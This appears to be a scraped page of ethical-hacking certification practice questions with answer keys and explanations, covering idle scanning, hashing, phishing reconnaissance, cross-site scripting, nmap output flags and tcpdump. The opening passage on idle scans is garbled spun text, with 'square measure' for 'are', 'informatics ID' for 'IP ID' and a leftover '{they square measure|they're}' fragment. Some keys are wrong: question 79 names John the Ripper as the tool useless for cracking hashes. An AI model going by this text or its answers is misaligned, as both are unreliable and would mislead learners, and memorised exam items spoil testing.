When associate idle scan is tried, tools (for example nmap) tests the projected zombie and reports any issues with it. If one does not work, attempt another.

Enough net hosts square measure vulnerable that zombie candidates are not exhausting to seek out. a standard approach is to easily execute a ping sweep of some network. selecting a network close to your supply address, or close to the target, produces higher results. you'll be able to attempt associate idle scan mistreatment every obtainable host from the ping sweep results till you discover one that works. As usual, it's best to raise permission before mistreatment someone's machines for surprising functions like idle scanning.

Simple network devices typically create nice zombies as a result of {they square measure|they're} normally each underused (idle) and designed with straightforward network stacks that are susceptible to informatics ID traffic detection.

While distinguishing an acceptable zombie takes some initial work, you'll be able to keep re-using the nice ones. as an alternative, there are some analysis on utilizing unplanned public internet services as zombie hosts to perform similar idle scans. leverage the approach a number of these services perform departing connections upon user submissions will function some quite poor's man idle scanning.

NEW QUESTION 72

Password cracking programs reverse the hashing process to recover passwords. (True/False.)

- A. True
- B. False

Answer: B

NEW QUESTION 73

The company ABC recently contracts a new accountant. The accountant will be working with the financial statements. Those financial statements need to be approved by the CFO and then they will be sent to the accountant but the CFO is worried because he wants to be sure that the information sent to the accountant was not modified once he approved it. Which of the following options can be useful to ensure the integrity of the data?

- A. The CFO can use a hash algorithm in the document once he approved the financial statements
- B. The CFO can use an excel file with a password
- C. The financial statements can be sent twice, one by email and the other delivered in USB and the accountant can compare both to be sure is the same document
- D. The document can be sent to the accountant using an exclusive USB for that document

Answer: A

NEW QUESTION 74

Hackers often raise the trust level of a phishing message by modeling the email to look similar to the internal email used by the target company. This includes using logos, formatting, and names of the target company. The phishing message will often use the name of the company CEO, President, or Managers. The time a hacker spends performing research to locate this information about a company is known as?

- A. Exploration
- B. Investigation
- C. Reconnaissance
- D. Enumeration

Answer: C

NEW QUESTION 79

Tony is a penetration tester tasked with performing a penetration test. After gaining initial access to a target system, he finds a list of hashed passwords. Which of the following tools would not be useful for cracking the hashed passwords?

- A. John the Ripper
- B. Hashcat
- C. netcat
- D. THC-Hydra

Answer: A

NEW QUESTION 80

Mr. Omkar performed tool-based vulnerability assessment and found two vulnerabilities. During analysis, he found that these issues are not true vulnerabilities. What will you call these issues?

- A. False positives
- B. True negatives
- C. True positives
- D. False negatives

Answer: A

Explanation:

False Positives occur when a scanner, Web Application Firewall (WAF), or Intrusion Prevention System (IPS) flags a security vulnerability that you do not have. A false negative is the opposite of a false positive, telling you that you don't have a vulnerability when, in fact, you do.

A false positive is like a false alarm; your house alarm goes off, but there is no burglar. In web application security, a false positive is when a web application security scanner indicates that there is a vulnerability on your website, such as SQL Injection, when, in reality, there is not. Web security experts and penetration testers use automated web application security scanners to ease the penetration testing process. These tools help them ensure that all web application attack surfaces are correctly tested in a reasonable amount of time. But many false positives tend to break down this process. If the first 20 variants are false, the

penetration tester assumes that all the others are false positives and ignore the rest. By doing so, there is a good chance that real web application vulnerabilities will be left undetected.

When checking for false positives, you want to ensure that they are indeed false. By nature, we humans tend to start ignoring false positives rather quickly. For example, suppose a web application security scanner detects 100 SQL Injection vulnerabilities. If the first 20 variants are false positives, the penetration tester assumes that all the others are false positives and ignore all the rest. By doing so, there are chances that real web application vulnerabilities are left undetected. This is why it is crucial to check every vulnerability and deal with each false positive separately to ensure false positives.

NEW QUESTION 83

Jack, a disgruntled ex-employee of Incalsol Ltd., decided to inject fileless malware into Incalsol's systems. To deliver the malware, he used the current employees' email IDs to send fraudulent emails embedded with malicious links that seem to be legitimate. When a victim employee clicks on the link, they are directed to a fraudulent website that automatically loads Flash and triggers the exploit. What is the technique used by Jack to launch the fileless malware on the target systems?

- A. In-memory exploits
- B. Phishing
- C. Legitimate applications
- D. Script-based injection

Answer: B

NEW QUESTION 88

A company's Web development team has become aware of a certain type of security vulnerability in their Web software. To mitigate the possibility of this vulnerability being exploited, the team wants to modify the software requirements to disallow users from entering HTML as input into their Web application. What kind of Web application vulnerability likely exists in their software?

- A. Cross-site scripting vulnerability
- B. SQL injection vulnerability
- C. Web site defacement vulnerability
- D. Cross-site Request Forgery vulnerability

Answer: A

Explanation:

There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: non-persistent and persistent. In this issue, we consider the non-persistent cross-site scripting vulnerability.

The non-persistent (or reflected) cross-site scripting vulnerability is by far the most basic type of web vulnerability. These holes show up when the data provided by a web client, most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the content.

Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection. A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.

NEW QUESTION 90

What does the -oX flag do in an Nmap scan?

- A. Perform an eXpress scan
- B. Output the results in truncated format to the screen
- C. Output the results in XML format to a file
- D. Perform an Xmas scan

Answer: C

Explanation:

<https://nmap.org/book/man-output.html>

-oX <filespec> - Requests that XML output be directed to the given filename.

NEW QUESTION 93

Which of the following is a command line packet analyzer similar to GUI-based Wireshark?

- A. nessus
- B. tcpdump
- C. ethereal
- D. jack the ripper

Answer: B

Explanation:

Tcpdump is a data-network packet analyzer computer program that runs under a command-line interface. It allows the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is attached. Distributed under the BSD license, tcpdump is free software.

<https://www.wireshark.org/>

Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education.

NOTE: Wireshark is very similar to tcpdump, but has a graphical front-end, plus some integrated sorting and filtering options.

NEW QUESTION 95

What kind of detection techniques is being used in antivirus softwares that identifies malware by collecting data from multiple protected systems and instead of analyzing files locally it's made on the premiers environment

- A. VCloud based
- B. Honypot based
- C. Behaviour based
- D. Heuristics based

Answer: A

NEW QUESTION 96

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